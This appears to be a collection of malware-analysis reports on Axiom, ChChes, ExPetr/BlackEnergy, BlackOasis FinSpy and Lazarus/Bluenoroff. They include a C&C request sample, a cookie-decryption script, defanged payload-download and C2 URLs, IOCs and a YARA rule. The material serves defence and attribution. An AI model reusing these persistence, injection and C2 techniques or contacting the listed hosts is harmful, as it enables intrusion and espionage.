will only include the x86 version because they are nearly identical. I will not be going too far in depth as full comprehension of the technical analysis will require an understanding of reverse engineering. Instead of using the typical API (VirtualAlloc) to allocate memory, the attackers allocated memory on the heap using LocalAlloc, and then copied a compressed payload to the allocated memory. 4/17 It looks like the attackers used version 1.1.4 of zlib to decompress the payload into this allocated memory region. 5/17 Depending on if you re running x86 or x64 Windows, it will drop a different module. (32-bit 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902, 64-bit 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f) Both modules are actually legitimate software with additional code and a modified execution flow. 6/17 The last modified time on the modules is changed to match that of the msvcrt.dll that is located in your system32 folder a technique to stay under the radar by not being able to check last modified files. 7/17 Some shellcode and another module are written to the registry. 8/17 9/17 After the module is successfully dropped, a service is created under the name Spooler or SessionEnv, depending upon your environment, which then loads the newly dropped module. The new module being run by the service allocates memory, reads the registry where the other payload is located, and then copies it to memory. 10/17 11/17 The next payload is executed, which decrypts another module and loads it. If we look at the memory of the next decrypted payload, we can see something that looks like a PE header without the MZ signature. From here, it is as simple as modifying the first two bytes to represent MZ and we have a valid PE file. (f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a) 12/17 The next module is a essentially another backdoor that connects to a few domains; before revealing the true IP, it will connect to for the next stage payload. 13/17 It starts by ensuring it receives the correct response from https://www.microsoft.com and https://update.microsoft.com. 14/17 The malware proceeds to decrypt two more URLs. The malware authors used steganography to store the IP address in a ptoken field of the HTML. Here you can see the GitHub page with the ptoken field. 15/17 The value is then XOR decrypted by 0x31415926 which gives you 0x5A093B0D or the IP address: 13.59.9.90 Conclusion: The complexity and quality of this particular attack has led our team to conclude that it was most likely statesponsored. Considering this new evidence, the malware can be attributed to the Axiom group due to both the nature of the attack itself and the specific code reuse throughout that our technology was able to uncover. IOCs: Stage 2 Payload: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83 x86 Trojanized Binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902 x86 Registry Payload: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a x64 Trojanized Binary: 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f 16/17 x64 Registry Payload: 75eaa1889dbc93f11544cf3e40e3b9342b81b1678af5d83026496ee6a1b2ef79 Registry Keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP About Intezer: Through its DNA mapping approach to code, Intezer provides enterprises with unparalleled threat detection that accelerates incident response and eliminates false positives, while protecting against fileless malware, APTs, code tampering and vulnerable software. Curious to learn what s next for Intezer? Join us on our journey toward achieving these endeavors here on the blog or request a community free edition invite By Jay Rosenberg Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in Reverse Engineering and Malware Analysis. Currently working as a Senior Security Researcher in Intezer. 17/17 ChChes Malware that Communicates with C&C Servers Using Cookie Headers blog.jpcert.or.jp/2017/02/chches-malware--93d6.html Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes. This blog article will introduce characteristics of ChChes, including its communication. ZIP files attached to Targeted Emails While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case. Figure 1: Example of an attached ZIP file In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name Donald Trump won . The details of the code signing certificate is described in Appendix A. Communication of ChChes ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory. The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET. GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1 Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted) Accept: */* Accept-Encoding: gzip, deflate User-Agent: [user agent] Host: [host name] Connection: Keep-Alive Cache-Control: no-cache As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script. data_list = cookie_data.split(';') dec = [] for i in range(len(data_list)): tmp = data_list[i] pos = tmp.find("=") key = tmp[0:pos] val = tmp[pos:] md5 = hashlib.md5() md5.update(key) rc4key = md5.hexdigest()[8:24] rc4 = ARC4.new(rc4key) dec.append(rc4.decrypt(val.decode("base64"))[len(key):]) print("[*] decoded: " + "".join(dec)) The following is the flow of communication after the machine is infected. Figure 2: Flow of communication The First Request The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with . The following is an example of data sent. Figure 3: Example of the first data sent As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes s version. The details are specified in Appendix B. As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below. Figure 4: Example response to the first request Request for Modules and Commands Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with is encrypted and contained in the Cookie field. B[ID to identify the infected machine] As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption. Figure 5: Decrypted data of modules and commands received Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely. JPCERT/CC s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes. Encrypt communication using AES Execute shell commands Upload files Download files Load and run DLLs View tasks of bot commands Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method. Summary ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware. The hash values of the samples demonstrated here are described in Appendix C. The malware s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts. Thanks for reading. - Yu Nakamura (Translated by Yukako Uchida) Appendix A: Code signing certificate The code signing certificate attached to some samples are the following: $ openssl x509 -inform der -text -in mal.cer Certificate: Data: Version: 3 (0x2) Serial Number: 3f:fc:eb:a8:3f:e0:0f:ef:97:f6:3c:d9:2e:77:eb:b9 Signature Algorithm: sha1WithRSAEncryption Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Validity Not Before: Aug 5 00:00:00 2011 GMT Not After : Aug 4 23:59:59 2012 GMT Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 Microsoft Software Validation v2, CN=HT Srl Subject Public Key Info: (Omitted) Figure 6: Code signing certificate Appendix B: ChChes version The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers. Figure 7: Compile time for each ChChes version The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version. Table 1: Sending format of each version Version Format 1.0.0 A*?3618468394??* 1.2.2 A*?3618468394??* 1.3.0 A*?3618468394??* 1.3.2 A*?3618468394??* 1.4.0 A*?3618468394??* 1.4.1 A*?3618468394?? ()* 1.6.4 A**?3618468394?? ()* Table 2: Description of to Letter Data Size Details Computer name Variable Capital alphanumeric characters Process ID Variable Capital alphanumeric characters Path of a temp folder Variable %TEMP% value Letter Data Size Details Malware version Variable e.g. 1.4.1 Screen resolution Variable e.g. 1024x768 explorer.exe version Variable e.g. 6.1.7601.17567 kernel32.dll version Variable e.g. 6.1.7601.17514 Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7 Appendix C: SHA-256 Hash value of the samples ChChes 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1 ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057 e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91 e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0 d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2 cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b Appendix D: List of communication destination area.wthelpdesk.com dick.ccfchrist.com kawasaki.cloud-maste.com kawasaki.unhamj.com sakai.unhamj.com scorpion.poulsenv.com trout.belowto.com zebra.wthelpdesk.com hamiltion.catholicmmb.com gavin.ccfchrist.com A gut feeling of old acquaintances, new tools, and a common battleground securelist.com /from-blackenergy-to-expetr/78937/ By GReAT Much has been written about the recent ExPetr/NotPetya/Nyetya/Petya outbreak you can read our findings here:Schroedinger s Pet(ya) and ExPetr is a wiper, not ransomware. As in the case of Wannacry, attribution is very difficult and finding links with previously known malware is challenging. In the case of Wannacry, Google s Neel Mehta was able to identify a code fragment which became the most important clue in the story, and was later confirmed by further evidence, showing Wannacry as a pet project of the Lazarus group. To date, nobody has been able to find any significant code sharing between ExPetr/Petya and older malware. Given our love for unsolved mysteries, we jumped right on it. Analyzing the Similarities At the beginning of the ExPetr outbreak, one of our team members pointed to the fact that the specific list of extensions used by ExPetr is very similar to the one used by BlackEnergy s KillDisk ransomware from 2015 and 2016 (Anton Cherepanov from ESET made the same observation on Twitter). The BlackEnergy APT is a sophisticated threat actor that is known to have used at least one zero day, coupled with destructive tools, and code geared towards attacking ICS systems. They are widely confirmed as the entity behind the Ukraine power grid attack from 2015 as well as a chain of other destructive attacks that plagued that country over the past years. If you are interested in reading more about the BlackEnergy APT, be sure to check our previous blogs on the topic: Going back to the hunt for similarities, here s how the targeted extensions lists looks in ExPetr and a version of a wiper used by the BE APT group in 2015: ExPetr 2015 BlackEnergy wiper sample 3ds, .7z, .accdb, .ai, .asp, .aspx, .avhd, .back, .bak, .c, .cfg, .conf, .cpp, .cs, .ctl, .dbf, .disk, .djvu, .doc, .docx, .dwg, .eml, .fdb, .gz, .h, .hdd, .kdbx, .mail, .mdb, .msg, .nrg, .ora, .ost, .ova, .ovf, .pdf, .php, .pmf, .ppt, .pptx, .pst, .pvi, .py, .pyc, .rar, .rtf, .sln, .sql, .tar, .vbox, .vbs, .vcb, .vdi, .vfd, .vmc, .vmdk, .vmsd, .vmx, .vsdx, .vsv, .work, .xls .3ds, .7z, .accdb, .accdc, .ai, .asp, .aspx, .avhd, .back, .bak, .bin, .bkf, .cer, .cfg, .conf, .crl, .crt, .csr, .csv, .dat, .db3, .db4, .dbc, .dbf, .dbx, .djvu, .doc, .docx, .dr, .dwg, .dxf, .edb, .eml, .fdb, .gdb, .git, .gz, .hdd, .ib, .ibz, .io, .jar, .jpeg, .jpg, .jrs, .js, .kdbx, .key, .mail, .max, .mdb, .mdbx, .mdf, .mkv, .mlk, .mp3, .msi, .my, .myd, .nsn, .oda, .ost, .ovf, .p7b, .p7c, .p7r, .pd, .pdf, .pem, .pfx, .php, .pio, .piz, .png, .ppt, .pptx, .ps, .ps1, .pst, .pvi, .pvk, .py, .pyc, .rar, .rb, .rtf, .sdb, .sdf, .sh, .sl3, .spc, .sql, .sqlite, .sqlite3, .tar, .tiff, .vbk, .vbm, .vbox, .vcb, .vdi, .vfd, .vhd, .vhdx, .vmc, .vmdk, .vmem, .vmfx, .vmsd, .vmx, .vmxf, .vsd, .vsdx, .vsv, .wav, .wdb, .xls, .xlsx, .xvd, .zip Obviously, the lists are similar in composition and formatting, but not identical. Moreover, older versions of the BE destructive module have even longer lists. Here s a snippet of an extensions list from a 2015 BE sample that is even longer: Nevertheless, the lists were similar in the sense of being stored in the same dot-separated formats. Although this indicated a possible link, we wondered if we could find more similarities, especially in the code of older variants of BlackEnergy and ExPetr. We continued to chase that hunch during the frenetic early analysis phase and shared this gut feeling of a similarity between ExPetr and BlackEnergy with our friends at Palo Alto Networks. Together, we tried to build a list of features that we could use to make a YARA rule to detect both ExPetr and BlackEnergy wipers. During the analysis, we focused on the similar extensions list and the code responsible for parsing the file system for encryption or wiping. Here s the code responsible for checking the extensions to target in the current version of ExPetr: This works by going through the target file system in a recursive way, then checking if the extension for each file is included in the dot-separated list. Unfortunately for our theory, the way this is implemented in older BlackEnergy variants is quite different; the code is more generic and the list of extensions to target is initialized at the beginning, and passed down to the recursive disk listing function. Instead, we took the results of automated code comparisons and paired them down to a signature that perfectly fit the mould of both in the hope of unearthing similarities. What we came up with is a combination of generic code and interesting strings that we put together into a cohesive rule to single out both BlackEnergy KillDisk components and ExPetr samples. The main example of this generic code is the inlined wcscmp function merged by the compiler optimization, meant to check if the filename is the current folder, which is named . Of course, this code is pretty generic and can appear in other programs that recursively list files. It s inclusion alongside a similar extension list makes it of particular interest to us but remains a low confidence indicator. Looking further, we identified some other candidate strings which, although not unique, when combined together allow us to fingerprint the binaries from our case in a more precise way. These include: exe /r /f ComSpec InitiateSystemShutdown When put together with the wcscmp inlined code that checks on the filename, we get the following YARA rule: rule blackenergy_and_petya_similarities { strings: //shutdown.exe /r /f $bytes00 = { 73 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 } //ComSpec $bytes01 = { 43 00 6f 00 6d 00 53 00 70 00 65 00 63 00 } //InitiateSystemShutdown $bytes02 = { 49 6e 69 74 69 61 74 65 53 79 73 74 65 6d 53 68 75 74 64 6f 77 6e 45 78 57} //68A4430110 push 0100143A4 ; ntdll.dll //FF151CD10010 call GetModuleHandleA //3BC7 //7420 $bytes03 = { 68 ?? ?? ?1 ?0 ff 15 ?? ?? ?? ?0 3b c7 74 ?? } eax,edi $bytes04 = { 2f 00 63 00 } //wcscmp( $hex_string = { b9 ?? ?? ?1 ?0 8d 44 24 ?c 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c0 eb 05 1b c0 83 d8 ff 85 c0 0f 84 ?? 0? 00 00 b9 ?? ?? ?1 ?0 8d 44 24 ?c 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c0 eb 05 1b c0 83 d8 ff 85 c0 0f 84 ?? 0? 00 00 } condition: ((uint16(0) == 0x5A4D)) and (filesize < 5000000) and (all of them) When run on our extensive (read: very big) malware collection, the YARA rule above fires on BlackEnergy and ExPetr samples only. Unsurprisingly, when used alone, each string can generate false positives or catch other unrelated malware. However, when combined together in this fashion, they become very precise . The technique of grouping generic or popular strings together into unique combinations is one of the most effective methods for writing powerful Yara rules. Of course, this should not be considered a sign of a definitive link, but it does point to certain code design similarities between these malware families. This low confidence but persistent hunch is what motivates us to ask other researchers around the world to join us in investigating these similarities and attempt to discover more facts about the origin of ExPetr/Petya. Looking back at other high profile cases, such as the Bangladesh Bank Heist or Wannacry, there were few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research can be crucial to connecting the dots, or, disproving these theories. d like to think of this ongoing research as an opportunity for an open invitation to the larger security community to help nail down (or disprove) the link between BlackEnergy and ExPetr/Petya. Our colleagues at ESET have published their own excellent analysis suggesting a possible link between ExPetr/Petya and TeleBots (BlackEnergy). Be sure to check out their analysis. And as mentioned before, a special thanks to our friends at Palo Alto for their contributions on clustering BlackEnergy samples. Hashes ExPetr: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6 F52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95 368d5c536832b843c6de2513baf7b11bcafea1647c65df7b6f2648840fa50f75 A6a167e214acd34b4084237ba7f6476d2e999849281aa5b1b3f92138c7d91c7a Edbc90c217eebabb7a9b618163716f430098202e904ddc16ce9db994c6509310 F9f3374d89baf1878854f1700c8d5a2e5cf40de36071d97c6b9ff6b55d837fca BlackOasis APT and new targeted attacks leveraging zeroday exploit securelist.com /blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ By GReAT More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com Introduction Kaspersky Lab has always worked closely with vendors to protect users. As soon as we find new vulnerabilities we immediately inform the vendor in a responsible manner and provide all the details required for a fix. On October 10, 2017, Kaspersky Lab s advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers. The exploit was delivered through a Microsoft Office document and the final payload was the latest version of FinSpy malware. We have reported the bug to Adobe who assigned it CVE-2017-11292 and released a patch earlier today: So far only one attack has been observed in our customer base, leading us to believe the number of attacks are minimal and highly targeted. Analysis of the payload allowed us to confidently link this attack to an actor we track as BlackOasis . We are also highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by FireEye in September 2017. The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye. BlackOasis Background We first became aware of BlackOasis activities in May 2016, while investigating another Adobe Flash zero day. On May 10, 2016, Adobe warned of a vulnerability (CVE-2016-4117) affecting Flash Player 21.0.0.226 and earlier versions for Windows, Macintosh, Linux, and Chrome OS. The vulnerability was actively being exploited in the wild. Kaspersky Lab was able to identify a sample exploiting this vulnerability that was uploaded to a multi scanner system on May 8, 2016. The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and 1/10 install a program from a remote C&C server. Although the exact payload of the attack was no longer in the C&C, the same server was hosting multiple FinSpy installation packages. Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time. Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively. These exploit chains also delivered FinSpy installation packages. Since the discovery of BlackOasis exploitation network, we ve been tracking this threat actor with the purpose of better understanding their operations and targeting and have seen a couple dozen new attacks. Some lure documents used in these attacks are shown below: 2/10 Decoy documents used in BlackOasis attacks To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015: CVE-2015-5119 June 2015 CVE-2016-0984 June 2015 CVE-2016-4117 May 2016 CVE-2017-8759 Sept 2017 CVE-2017-11292 Oct 2017 Attacks Leveraging CVE-2017-11292 The attack begins with the delivery of an Office document, presumably in this instance via e-mail. Embedded within 3/10 the document is an ActiveX object which contains the Flash exploit. Flash object in the .docx file, stored in uncompressed format The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits. 4/10 Unpacking routine for SWF exploit The exploit is a memory corruption vulnerability that exists in the com.adobe.tvsdk.mediacore.BufferControlParameters class. If the exploit is successful, it will gain arbitrary read / write operations within memory, thus allowing it to execute a second stage shellcode. The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[.]107/rss/5uzosoff0u.iaf. 5/10 Second stage shellcode The second stage shellcode will then perform the following actions: 1. Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe 2. Download a lure document to display to the victim from the same IP 3. Execute the payload and display the lure document Payload mo.exe As mentioned earlier, the mo.exe payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma International s FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations. This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code. 6/10 The PCODE of the virtual machine is packed with the aplib packer. Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: 7/10 Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the instruction is responsible for executing native code that is specified in parameter field. Once the payload is successfully executed, it will proceed to copy files to the following locations: C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe C:\ProgramData\ManagerApp\15b937.cab C:\ProgramData\ManagerApp\install.cab C:\ProgramData\ManagerApp\msvcr90.dll C:\ProgramData\ManagerApp\d3d9.dll The AdapterTroubleshooter.exe file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique. The d3d9.dll file is malicious and is loaded into memory by the legit binary upon execution. Once loaded, the DLL will then inject FinSpy into the Winlogon process. 8/10 Part of injected code in winlogon process The payload calls out to three C2 servers for further control and exfiltration of data. We have observed two of them used in the past with other FinSpy payloads. Most recently one of these C2 servers was used together with CVE2017-8759 in the attacks reported by FireEye in September 2017. These IPs and other previous samples tie closely to the BlackOasis APT cluster of FinSpy activity. Targeting and Victims BlackOasis interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region. This includes prominent figures in the United Nations, opposition bloggers and activists, and regional news correspondents. During 2016, we observed a heavy interest in Angola, exemplified by lure documents indicating targets with suspected ties to oil, money laundering, and other illicit activities. There is also an interest in international activists and think tanks. Victims of BlackOasis have been observed in the following countries: Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, Netherlands, Bahrain, United Kingdom and Angola. Conclusions We estimate that the attack on HackingTeam in mid-2015 left a gap on the market for surveillance tools, which is now being filled by other companies. One of these is Gamma International with their FinFisher suite of tools. Although Gamma International itself was hacked by Phineas Fisher in 2014, the breach was not as serious as it was in the case of HackingTeam. Additionally, Gamma had two years to recover from the attack and pick up the pace. We believe the number of attacks relying on FinFisher software, supported by zero day exploits such as the ones described here will continue to grow. What does it mean for everyone and how to defend against such attacks, including zero-day exploits? For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to disable it in any applications that respect it. Unfortunately, doing this system-wide is not easily done, as Flash objects can be loaded in applications that potentially do not follow the killbit. Additionally, this may break any other necessary resources that rely on Flash and of course, it will not protect against exploits for other third party software. Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this. Users of Kaspersky products are protected as well against this threat by one of the following detections:

The information provided below appeared in the public domain. Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of a Polish financial sector regulatory body, Polish Financial Supervision Authority (www.knf.gov[.]pl). Due to a slight modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads on selected targets. Note: image is a courtesy of badcyber.com unauthorised code located following http://www.knf.gov[.]pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11 and looked like this: document.write("
"); After successful exploitation, malware was downloaded to the workstation, where, once executed, it connected to some foreign servers and could be used to perform network reconnaissance, lateral movement and data exfiltration. Visiting the exploit page resulted in Microsoft Internet Explorer crashing, which was recorded with a process dump file. The dumped process included the following indicators: [version="2"] [swfURL="https://sap.misapor[.]ch/vishop/include/cambio.swf" pageURL="https://sap.misapor[.]ch/vishop/view.jsp"]... Additional research by Kaspersky Lab discovered that the exploit file at hxxp://sap.misapor[.]ch:443/vishop/include/cambio.swf resulted in the download of a backdoor module. Based on our own telemetry, Kaspersky Lab confirms that sap.misapor[.]ch was compromised as well, and was spreading exploits for Adobe Flash Player and Microsoft Silverlight. Some of the known vulnerability CVEs observed in attacks originate from that website: CVE-2016-4117 CVE-2015-8651 CVE-2016-1019 CVE-2016-0034 The Flash exploit used in the attacks was very similar to known exploits from the Magnitude Exploit Kit. These vulnerabilities have been patched by Adobe and Microsoft since April 2016 and January 2016 respectively. Fig. Part of the exploit code Inside the exploits, one can see a lot of Russian word strings, like chainik BabaLena vyzov_chainika podgotovkaskotiny , etc. The shellcode downloads the final payload from: https://sap[.]misapor.ch/vishop/view.jsp?uid=[redacted]&pagenum=3&eid=00000002&s=2 &data= It's worth mentioning here that Lazarus used other false flags in conjunction with this Russian exploit code. They also used some Russian words in one of the backdoors and packed the malware with a commercial protector (Enigma) developed by a Russian author. However, the Russian words in the backdoor looked like a very cheap imitation, because every native Russian speaking software developer quickly noticed how odd these commands were. Fig. Russian words in the backdoor code. At the time of research this URL was dead but we were able to find an identical one which leads to a malicious file download (MD5: 06cd99f0f9f152655469156059a8ea25, detected as TrojanBanker.Win32.Alreay.gen) from http://www.eye-watch[.]in/design/img/perfmon.dat. Interestingly, this sample was uploaded to VirusTotal from Poland and Korea in November 2016. It is a packed version of a previously known backdoor used by Lazarus attackers in Incident #1 s bank. What Made the Breach Possible Since the attackers didn t use any zero-days, the infiltration was successful because of nonupdated software. In one case, we observed a victim running the following software: The exploit breached the system running Adobe Flash Player, version 20.0.0.235. This version was officially released on 8 December, 2015. Adobe implemented a self-update mechanism for Flash Player some years ago and the analyzed system indeed had a scheduled job, which attempted to periodically update Adobe Flash Updater. We checked the event logs of the Task Scheduler and this task was regularly running. The task was started as SYSTEM user and attempted to connect to the Internet to fetch Flash Player updates from fpdownload.macromedia.com. However, this attempt failed, either because it couldn't find the proxy server to connect to the update server, or because of missing credentials for the proxy. The last failed attempt to update Adobe Flash was dated in December 2016, a month before the breach happened. If only that updater could have accessed the Internet the attack would have failed. This is an important issue that may be widely present in many corporate networks. Lateral Movement. Backup Server. After the initial breach the attackers pivoted from infected hosts and emerged to migrate to a safer place for persistence. A backup server was chosen as the next target. Based on traffic logs provided for our analysis, we confirmed that there were connections to known Bluenoroff C2 servers originating from infected hosts. The following information was found in the network logs: Destination:Port Type Bytes Transfered 82.144.131[.]5:8080 Incomplete Less than 1KB 82.144.131[.]5:443 Less than 3KB By checking other non-whitelisted hosts and IP ranges we were able to identify an additional C2 server belonging to the same attackers: Destination:Port Type Bytes Transfered 73.245.147[.]162:443 Less than 1.5MB While this additional C2 hasn't been reported previously, there were no additional hosts found that connected to that server. Lateral Movement. Host1. During the attack, the threat actor deployed a number of other malware to a second machine we call Host1. The malware files include: Filename Size %SYSTEM%\msv2_0.dll 78'848 bytes 474f08fb4a0b8c9e1b88349098de10b1 %WINDIR%\Help\msv2_0.chm 729'088 bytes 579e45a09dc2370c71515bd0870b2078 %WINDIR%\Help\msv2_0.hlp 3'696 bytes 7413f08e12f7a4b48342a4b530c8b785 The msv2_0.dll decrypts and loads the payload from msv2_0.chm, which, in turn, decrypts and loads a configuration file from msv2_0.hlp. msv2_0.hlp, which is encrypted with Spritz encryption algorithm and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 Full technical details about this malware are available in the Appendix. The decrypted configuration file contains references to two previously known1 Bluenoroff C2 servers: tradeboard.mefound[.]com:443 movis-es.ignorelist[.]com:443 Another file created around the same time was found in: C:\Windows\Temp\tmp3363.tmp. It included a short text file which contained the following text message: [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. Additional searches by events which occurred around the same time brought some evidence of other command line executable modules and Windows system tools being run on that day and later. The following Prefetch files indicate the execution of other modules: Executable Run Counter RUNDLL32.EXE RUNDLL32.EXE2 FIND.EXE GPSVC.EXE SC.EXE NET.EXE NETSTAT.EXE MSDTC.EXE This confirms the active reconnaissance stage of the attack. According to prefetch files for RUNDLL32.EXE, this executable was used to load msv2_0.dll and msv2_0.chm. References to these files were found in the prefetch data of this process. Bluenoroff is a Kaspersky Lab codename for a threat actor involved in financial targeted attacks. The most well-known attack launched by the Bluenoroff group is the Bangladesh bank heist. Same executable was run with different command line Note: MSDTC.EXE and GPSVC.EXE are among the 